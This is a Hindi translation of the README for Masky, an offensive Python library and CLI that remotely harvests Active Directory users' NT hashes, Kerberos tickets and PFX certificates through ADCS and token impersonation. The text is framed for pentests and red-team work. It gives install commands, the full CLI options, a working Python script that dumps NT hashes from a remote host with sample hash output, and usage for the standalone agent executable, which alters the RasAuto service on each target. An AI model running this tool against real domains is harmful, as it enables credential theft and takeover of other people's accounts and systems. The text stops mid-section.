
पायथन लाइब्रेरी जिसमें CLI (कमांड लाइन इंटरफ़ेस) शामिल है, जो LSASS प्रक्रिया मेमोरी को डंप किए बिना ADCS के माध्यम से दूरस्थ रूप से डोमेन उपयोगकर्ता क्रेडेंशियल्स डंप करने की अनुमति देता है।
Masky एक पायथन लाइब्रेरी है जो ADCS के माध्यम से रिमोट रूप से डोमेन उपयोगकर्ताओं के क्रेडेंशियल्स को डंप करने का एक वैकल्पिक तरीका प्रदान करती है। इस लाइब्रेरी के ऊपर एक कमांड लाइन टूल बनाया गया है ताकि बड़े पैमाने पर PFX, NT हैश और TGT को आसानी से एकत्र किया जा सके।
यह टूल किसी नई कमजोरी का फायदा नहीं उठाता और LSASS प्रक्रिया मेमोरी को डंप करके काम नहीं करता। वास्तव में, यह केवल वैध Windows और Active Directory सुविधाओं का लाभ उठाता है (टोकन प्रतिरूपण, केर्बरोस के माध्यम से प्रमाणपत्र प्रमाणीकरण और PKINIT के माध्यम से NT हैश प्राप्ति)। कार्यान्वित तकनीकों और Masky के काम करने के तरीके का विवरण देने के लिए एक ब्लॉग पोस्ट प्रकाशित किया गया था।
Masky का स्रोत कोड बड़े पैमाने पर शानदार Certify और Certipy टूल्स पर आधारित है। मैं ADCS के खिलाफ आक्रामक शोषण तकनीकों पर शोध के लिए उनके लेखकों का धन्यवाद करता हूं (देखें Acknowledgments अनुभाग)।
Masky पायथन3 लाइब्रेरी और इसके संबंधित CLI को सार्वजनिक PyPi रिपॉजिटरी के माध्यम से निम्नानुसार आसानी से स्थापित किया जा सकता है:
pip install masky
Masky एजेंट निष्पादन योग्य पहले से ही PyPi पैकेज में शामिल है।
इसके अलावा, यदि आपको एजेंट को संशोधित करने की आवश्यकता है, तो C# कोड को में स्थित विज़ुअल स्टूडियो प्रोजेक्ट के माध्यम से पुनः संकलित किया जा सकता है। इसे बनाने के लिए की आवश्यकता होगी।
agent/Masky.sln.NET Framework 4Masky को एक पायथन लाइब्रेरी के रूप में डिज़ाइन किया गया है। इसके अलावा, पेंटेस्ट या RedTeam गतिविधियों के दौरान इसके उपयोग को आसान बनाने के लिए इसके ऊपर एक कमांड लाइन इंटरफ़ेस बनाया गया था।
दोनों उपयोगों के लिए, आपको पहले ADCS के माध्यम से तैनात CA सर्वर का FQDN और उसका CA नाम प्राप्त करना होगा। यह जानकारी certipy find विकल्प या Microsoft के बिल्ट-इन certutil.exe टूल के माध्यम से आसानी से प्राप्त की जा सकती है। सुनिश्चित करें कि लक्षित CA पर डिफ़ॉल्ट User टेम्प्लेट सक्षम है।
चेतावनी: Masky मौजूदा RasAuto सेवा में संशोधन के माध्यम से प्रत्येक लक्ष्य पर एक निष्पादन योग्य तैनात करता है। इसके प्रारंभिक ImagePath मान के स्वचालित रोल-बैक के बावजूद, Masky रनटाइम के दौरान एक अप्रत्याशित त्रुटि सफाई चरण को छोड़ सकती है। इसलिए, ऐसे अवांछित रुकने की स्थिति में मूल मान को मैन्युअल रूप से रीसेट करना न भूलें।
निम्नलिखित डेमो 4 रिमोट सिस्टम को लक्षित करके Masky के मूल उपयोग को दर्शाता है। इसका निष्पादन sec.lab परीक्षण डोमेन से 3 विशिष्ट डोमेन उपयोगकर्ताओं के NT हैश, CCACHE और PFX एकत्र करने की अनुमति देता है।
Masky ऐसे टूल्स द्वारा सामान्यतः प्रदान किए जाने वाले विकल्प भी प्रदान करता है (थ्रेड संख्या, प्रमाणीकरण मोड, फ़ाइलों से लोड किए गए लक्ष्य, आदि)।
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
नीचे एक सरल स्क्रिप्ट है जो Masky लाइब्रेरी का उपयोग करके एक रिमोट लक्ष्य से चल रहे डोमेन उपयोगकर्ता सत्रों के रहस्यों को एकत्र करती है।
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
इसके निष्पादन से निम्नलिखित आउटपुट उत्पन्न होता है।
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Masky के सफल निष्पादन के बाद User ऑब्जेक्ट्स की एक सूची वाला MaskyResults ऑब्जेक्ट वापस किया जाता है।
कृपया इन दो कक्षाओं द्वारा प्रदान की गई विधियों और विशेषताओं की जांच करने के लिए masky\lib\results.py मॉड्यूल देखें।
Masky संस्करण 0.0.5 से, स्वतंत्र निष्पादन योग्य एजेंट अब Python CLI के बिना आसानी से चलाया जा सकता है।
यहां तर्क दिए गए हैं:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
/ca पैरामीटर Python CLI की तरह अनिवार्य है। इसके अलावा, /currentUser तर्क को टोकन प्रतिरूपण चलाने से बचने के लिए जोड़ा गया है। वास्तव में, प्रदान किए गए टेम्प्लेट (template) के आधार पर वर्तमान उपयोगकर्ता संदर्भ में एक सरल प्रमाणपत्र अनुरोध किया जाएगा। /output और /debug पैरामीटर उस पथ को निर्दिष्ट करने की अनुमति देते हैं जहां फ़ाइलें बनाई जाएंगी।
डिफ़ॉल्ट मान निम्नलिखित हैं: